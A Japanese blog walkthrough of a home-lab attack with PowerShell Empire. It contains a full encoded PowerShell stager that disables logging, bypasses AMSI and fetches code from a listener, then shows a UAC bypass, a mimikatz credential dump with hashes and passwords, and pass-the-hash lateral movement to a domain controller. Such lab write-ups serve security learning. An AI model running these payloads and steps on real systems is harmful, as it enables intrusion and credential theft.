PowerShell Empireを使う

はじめに

PowerShell Empireというペネトレーション用のツールがあります。今回はそれを使ってみましたという記事内容です。

当然ですが、自分のローカル環境以外で試してはいけません。試すときもインターネットから切り離して行うようにするとよいでしょう。またこれを公開されているサーバに実行した際に発生したすべての物事、事象に対してブログ主は一切の責任を負いません。

今回の目的ですが、ドメイン環境下のPCで別のPCに移動してみようと思います。これにはinvoke_smbexecを利用します。

環境構築

Windows Server 2012 R2の用意

以下の一連のコマンドをたたいて環境構築する。Active Directoryを入れると再起動する点だけ注意。

# Active Directoryの機能追加
Get-WindowsFeature AD-Domain-Services | Install-WindowsFeature
Import-Module ADDSDeployment
# Domain Controller構築
mkdir C:\NTDS
mkdir C:\SYSVOL

Install-ADDSForest `
-CreateDnsDelegation:$false `
-DatabasePath "C:\NTDS" `
-DomainMode "Win2012R2" `
-DomainName "pentest.local" `
-DomainNetbiosName "PENTEST" `
-ForestMode "Win2012R2" `
-InstallDns:$true `
-LogPath "C:\NTDS" `
-NoRebootOnCompletion:$false `
-SysvolPath "C:\SYSVOL" `
-Force:$true
# 再起動が入ります
# ユーザ作成
$password = ConvertTo-SecureString -AsplainText "Vict1m3" -Force
New-ADUser -Name user -DisplayName user -ChangePasswordAtLogon $false -CannotChangePassword $true -Enabled $true -AccountPassword $password
# Domain Adminsに追加
Add-ADGroupMember -Identity "Domain Admins" -Member user

これでDomain Adminsのuserを作成したActive Directory環境を作成できました。次にWin7ドメイン参加します。

Win7の用意

ドメイン参加

コントロールパネルから「システムとセキュリティ」→「システム」に移動します。するとドメインおよびワークグループの変更という部分があるのでここで変更を行います。ドメイン名は「PENTEST」と入力するとユーザ名とパスワードを求められるのでWin2012を用意した際に作成したユーザ名「user」、パスワード「Emp1r3」を入力してドメイン参加します。ここで失敗する場合はuserがDomain Adminsグループに参加していない可能性があります。

ドメインのユーザにローカルコンピュータの管理者権限を与える

Windowsキー」+「R」でプログラム名を指定して実行から「lusrmgr.msc」を実行します。ここでグループのAdministratorsグループにドメインユーザである「user」を追加します。

Kali Linuxの用意

Empireのインストール

以下のコマンドを実行してEmpireをインストールします

# apt-get upgrade
# git clone https://github.com/EmpireProject/Empire.git
# cd Empire/setup
# ./install.sh

Empireを利用する

Win7でRATを実行し、Empireで待ち受ける

Empireを利用する環境が整ったので利用していきます。

# cd ../
# ./empire
================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       285 modules currently loaded

       0 listeners currently active

       0 agents currently active

Empireを起動するとこのような画面が出ると思います。ここからWin7でRATを動かしてそれをこのEmpireで待ち受けます

Empireで待ち受けるlistenerを作成し、起動。その後Empireで待ち受けるようのRATプログラムを作成します。

(Empire) > listeners
[!] No listeners currently active 
(Empire: listeners) > uselistener http
(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

ここまでの一連のコマンドで待ち受けるlistenerが作成され、待ち受ける準備が整います。次にRATプログラムを作成します。

(Empire: listeners/http) > launcher powershell
powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVgBlAFIAcwBJAE8AbgBUAEEAYgBsAEUALgBQAFMAVgBlAHIAUwBpAE8AbgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAGYAXQAuAEEAcwBTAEUAbQBiAGwAeQAuAEcARQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAdABGAGkARQBgAEwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AEUAKAAkAG4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBsAD0AWwBDAE8ATABsAEUAQwB0AEkAbwBuAFMALgBHAEUATgBFAHIASQBjAC4ARABJAGMAVABJAE8AbgBBAHIAeQBbAHMAdAByAEkAbgBnACwAUwB5AFMAdABFAG0ALgBPAEIASgBlAEMAdABdAF0AOgA6AG4AZQBXACgAKQA7ACQAdgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AGEAbAB9AEUATABzAEUAewBbAFMAYwByAGkAcABUAEIATABvAEMASwBdAC4AIgBHAGUAdABGAEkAZQBgAEwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBFAFQAVgBBAEwAVQBlACgAJABOAFUAbABMACwAKABOAGUAVwAtAE8AQgBqAGUAQwBUACAAQwBPAEwAbABlAEMAdABJAE8ATgBTAC4ARwBFAE4ARQBSAGkAYwAuAEgAQQBzAEgAUwBlAHQAWwBzAHQAcgBpAE4AZwBdACkAKQB9AFsAUgBlAGYAXQAuAEEAcwBzAGUATQBiAGwAeQAuAEcARQBUAFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBpAEUAbABEACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEAbABVAEUAKAAkAE4AVQBsAGwALAAkAHQAcgB1AEUAKQB9ADsAfQA7AFsAUwBZAFMAdABlAE0ALgBOAEUAdAAuAFMARQBSAFYAaQBDAEUAUABPAEkAbgB0AE0AYQBuAGEAZwBFAHIAXQA6ADoARQBYAFAAZQBjAFQAMQAwADAAQwBPAG4AdABpAE4AdQBFAD0AMAA7ACQAdwBjAD0ATgBFAHcALQBPAEIASgBlAEMAVAAgAFMAWQBTAHQAZQBtAC4ATgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgAZQBBAGQARQBSAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAUgBvAHgAeQA9AFsAUwBZAFMAVABFAG0ALgBOAEUAVAAuAFcAZQBiAFIAZQBRAHUARQBTAHQAXQA6ADoARABlAGYAYQB1AGwAVABXAGUAYgBQAFIATwBYAHkAOwAkAHcAQwAuAFAAcgBPAHgAeQAuAEMAUgBlAGQAZQBuAFQAaQBBAEwAUwAgAD0AIABbAFMAWQBTAHQARQBtAC4ATgBFAFQALgBDAFIAZQBkAGUATgBUAGkAYQBsAEMAYQBjAEgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4AZQB0AFcAbwByAEsAQwBSAEUARABlAE4AVABJAEEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AGUAUwAoACcAMABkADMAOAA0AGYANAAyAGMAYwA5ADUAZgA4ADIAYwBjADQAMgA1AGEAMwAwADAAOAAzADEAYwAwADIAMQAwACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMgAuADMAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBDAC4ASABlAEEARABFAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBYAEQAbgB5AHQAKwBaAEsATgAzAEgAcABnAEwAYgBVAHoAMABxAGEAaABsAFQAVwBtAFkAPQAiACkAOwAkAGQAYQB0AGEAPQAkAFcAQwAuAEQAbwB3AG4AbABPAGEAZABEAGEAVABBACgAJABzAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQB0AEEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAGEAPQAkAGQAQQB0AEEAWwA0AC4ALgAkAGQAYQB0AEEALgBMAEUAbgBHAHQASABdADsALQBKAG8AaQBOAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
(Empire: listeners/http) >

powershellの文字からの一連のスクリプトがRATとなります。これをコピーしWin7Powershellで実行します。ちなみにlauncher pythonとするとpython用のプログラムが出力されます。

Win7で実行した後、少し待つとKali Linuxの方で下のような出力がされているはずです。されていない場合はネットワーク周りの設定を見直してください。(pingが届くかとか) ここでagentが確立されます。このagentsを用いるとコマンドの実行等ができますが、それは今回の主題ではないのでパスします。

[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent HLV5ZS3G checked in
[+] Initial agent HLV5ZS3G from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to HLV5ZS3G at 192.168.12.10

(Empire: listeners/http) > agents

[*] Active agents:

 Name     La Internal IP     Machine Name      Username                Process            PID    Delay    Last Seen
 ----     -- -----------     ------------      --------                -------            ---    -----    ---------
 HLV5ZS3G ps 192.168.12.10   VICTIM            PENTEST\user            powershell         1644   5/0.0    2018-08-17 15:00:09

(Empire: agents) > interact HLV5ZS3G

interact ***とすることで確立した通信に対して割り込むことが可能となります(この認識で正しいのか不明)

パスワードハッシュを入手する(bypassuacを利用した権限昇格)

ここからinvoke_smbexecを利用するためにパスワードハッシュを入手します。それにはmimikatzというツールを利用するのですが、mimikatzというツールを利用するためには管理者権限が必要となるので、まずは権限を昇格します。

権限を昇格するためにはprivesc/bypassuacというモジュールを利用します。

(Empire: HLV5ZS3G) > usemodule privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > info

              Name: Invoke-BypassUAC
            Module: powershell/privesc/bypassuac
        NeedsAdmin: False
         OpsecSafe: False
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  Leo Davidson
  @meatballs__
  @TheColonial
  @mattifestation
  @harmyj0y
  @sixdub

Description:
  Runs a BypassUAC attack to escape from a medium integrity
  process to a high integrity process. This attack was
  originally discovered by Leo Davidson. Empire uses
  components of MSF's bypassuac injection implementation as
  well as an adapted version of PowerSploit's Invoke--
  Shellcode.ps1 script for backend lifting.

Comments:
  https://github.com/mattifestation/PowerSploit/blob/master/Co
  deExecution/Invoke--Shellcode.ps1 https://github.com/rapid7
  /metasploit-framework/blob/master/modules/exploits/windows/l
  ocal/bypassuac_injection.rb https://github.com/rapid7
  /metasploit-framework/tree/master/external/source/exploits/b
  ypassuac_injection/dll/src http://www.pretentiousname.com/

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   True                                  Listener to use.                        
  UserAgent  False       default                   User-agent string to use for the staging
                                                   request (default, none, or other).      
  Proxy      False       default                   Proxy to use for request (default, none,
                                                   or other).                              
  Agent      True        HLV5ZS3G                  Agent to run module on.                 
  ProxyCreds False       default                   Proxy credentials                       
                                                   ([domain\]username:password) to use for 
                                                   request (default, none, or other).      

(Empire: powershell/privesc/bypassuac) > set Listener http
(Empire: powershell/privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked HLV5ZS3G to run TASK_CMD_JOB
[*] Agent HLV5ZS3G tasked with task ID 1
[*] Tasked agent HLV5ZS3G to run module powershell/privesc/bypassuac
(Empire: powershell/privesc/bypassuac) > [*] Agent HLV5ZS3G returned results.
Job started: 2Y7F9M
[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.10
[*] New agent 85VHTSNY checked in
[+] Initial agent 85VHTSNY from 192.168.12.10 now active (Slack)
[*] Sending agent (stage 2) to 85VHTSNY at 192.168.12.10

moduleの使い方ですが、usemodule <モジュール名>と打つことでモジュールを利用するモードに移行します。

ここでinfoと打つことでモジュールに必要な情報を得ることができます。Trueと表示されているものはモジュールを実行するのに必須なオプション、Falseは埋めなくても実行可能です。実行可能ですが成功するかどうかはわかりません。Trueと表示されているものは実行しようとしても埋まっていないということで実行できません。

bypassuacListenerTrueとなっているので、設定する必要があります。今回はhttpというListener名としているのでset Listener httpと設定してexecuteをすることで実行します。

実行した結果新たな接続が確立されます。

パスワードハッシュを入手する(mimikatzを使う)

前回で権限昇格した接続が確立されたのでmimikatzを使っていきます。

(Empire: powershell/privesc/bypassuac) > interact 85VHTSNY
(Empire: 85VHTSNY) > usemodule credentials/mimikatz/logonpasswords*
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_JOB
[*] Agent 85VHTSNY tasked with task ID 1
[*] Tasked agent 85VHTSNY to run module powershell/credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) > [*] Agent 85VHTSNY returned results.
Job started: SKHF3V
[*] Valid results returned by 192.168.12.10
[*] Agent 85VHTSNY returned results.
Hostname: victim.pentest.local / S-1-5-21-2313106677-264397757-2816267570

  .#####.   mimikatz 2.1.1 (x86) built on Nov 12 2017 15:43:57
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 93788 (00000000:00016e5c)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 93757 (00000000:00016e3d)
Session           : Interactive from 1
User Name         : user
Domain            : PENTEST
Logon Server      : WIN-LIL2GIC6EFI
Logon Time        : 8/17/2018 2:48:52 PM
SID               : S-1-5-21-2313106677-264397757-2816267570-1108
    msv :   
     [00000003] Primary
     * Username : user
     * Domain   : PENTEST
     * LM       : 411918ffe7ef1d9baad3b435b51404ee
     * NTLM     : e82a5afbaa5f49c9a9e375430f3cdf05
     * SHA1     : f82e5b1300b72f836990b9e8f150eb2e05e07bdf
    tspkg : 
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    wdigest :   
     * Username : user
     * Domain   : PENTEST
     * Password : Vict1m3
    kerberos :  
     * Username : user
     * Domain   : PENTEST.LOCAL
     * Password : Vict1m3
    ssp :   
    credman :   

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-19
    msv :   
    tspkg : 
    wdigest :   
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :  
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :   
    credman :   

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:44 PM
SID               : S-1-5-20
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

Authentication Id : 0 ; 21590 (00000000:00005456)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:43 PM
SID               : 
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
    kerberos :  
    ssp :   
    credman :   

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:42 PM
SID               : S-1-5-18
    msv :   
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

mimikatz(powershell) # exit
Bye!


[*] Valid results returned by 192.168.12.10

(Empire: powershell/credentials/mimikatz/logonpasswords) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/credentials/mimikatz/logonpasswords) > back

使い方はbypassuacの時と一緒です。実行するといろいろ出力されます。この情報はcredsと打つことで見ることができます。

結果はこのようにパスワードハッシュとパスワードの平文を手に入れてます。今度はこのパスワードハッシュを利用してドメイン上にある別のPCに移る(感染)しにいきます。

invoke_smbexecする

別のPCに移るために今回はinvoke_smbexecコマンドを利用します。

(Empire: 85VHTSNY) > usemodule lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > info

              Name: Invoke-SMBExec
            Module: powershell/lateral_movement/invoke_smbexec
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: False
   OutputExtension: None

Authors:
  @rvrsh3ll

Description:
  Executes a stager on remote hosts using SMBExec.ps1

Comments:
  https://raw.githubusercontent.com/Kevin-Robertson/Invoke-
  TheHash/master/Invoke-SMBExec.ps1

Options:

  Name         Required    Value                     Description
  ----         --------    -------                   -----------
  CredID       False                                 CredID from the store to use.           
  ComputerName True                                  Host[s] to execute the stager on, comma 
                                                     separated.                              
  Service      False                                 Name of service to create and delete.   
                                                     Defaults to 20 char random.             
  ProxyCreds   False       default                   Proxy credentials                       
                                                     ([domain\]username:password) to use for 
                                                     request (default, none, or other).      
  Username     True                                  Username.                               
  Domain       False                                 Domain.                                 
  Hash         True                                  NTLM Hash in LM:NTLM or NTLM format.    
  Agent        True        85VHTSNY                  Agent to run module on.                 
  Listener     True                                  Listener to use.                        
  Proxy        False       default                   Proxy to use for request (default, none,
                                                     or other).                              
  UserAgent    False       default                   User-agent string to use for the staging
                                                     request (default, none, or other).      

(Empire: powershell/lateral_movement/invoke_smbexec) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/lateral_movement/invoke_smbexec) > set CredID 1
(Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName 192.168.12.1
(Empire: powershell/lateral_movement/invoke_smbexec) > set Username user
(Empire: powershell/lateral_movement/invoke_smbexec) > set Domain PENTEST
(Empire: powershell/lateral_movement/invoke_smbexec) > set hash e82a5afbaa5f49c9a9e375430f3cdf05
[!] Invalid option specified.
(Empire: powershell/lateral_movement/invoke_smbexec) > set Hash e82a5afbaa5f49c9a9e375430f3cdf05
(Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http
(Empire: powershell/lateral_movement/invoke_smbexec) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_WAIT
[*] Agent 85VHTSNY tasked with task ID 2
[*] Tasked agent 85VHTSNY to run module powershell/lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > 

モジュールの使い方は一緒です、必要な情報をひたすら埋めていきます。

実行した結果は下のようになります。infoと打つことで別のPCに移動していることが確認できます。 ※前のagentの時にinfoと打ってないのでわかりにくいですが移動できています。internal_ipの値がそれを証明しています

[*] Agent 85VHTSNY returned results.
Command executed with service TIPCPSXLXSJTFJEJWAWB on 192.168.12.1


[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.1
[*] New agent 7NUPWBKG checked in
[+] Initial agent 7NUPWBKG from 192.168.12.1 now active (Slack)
[*] Sending agent (stage 2) to 7NUPWBKG at 192.168.12.1

(Empire: powershell/lateral_movement/invoke_smbexec) > interact 7NUPWBKG
(Empire: 7NUPWBKG) > info

[*] Agent info:

    nonce               7180758306521210
    jitter              0.0
    servers             None
    internal_ip         192.168.12.1
    working_hours       
    session_key         X-Tv+%o=mq_[G:h~0DH6Owajuf`z&.Vs
    children            None
    checkin_time        2018-08-17 15:22:26
    hostname            WIN-LIL2GIC6EFI
    id                  3
    delay               5
    username            PENTEST\SYSTEM
    kill_date           
    parent              None
    process_name        powershell
    listener            http
    process_id          1664
    profile             /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
    os_details          Microsoft Windows Server 2012 R2 Datacenter ???
    lost_limit          60
    taskings            None
    name                7NUPWBKG
    language            powershell
    external_ip         192.168.12.1
    session_id          7NUPWBKG
    lastseen_time       2018-08-17 15:22:38
    language_version    4
    high_integrity      1

(Empire: 7NUPWBKG) > 

対策

さて今回の実験でRATを実行したPCは条件次第では別のPCに移れてしまいます。なのでわかった時点で隔離しましょう。まずはネットワークを切りましょう。以上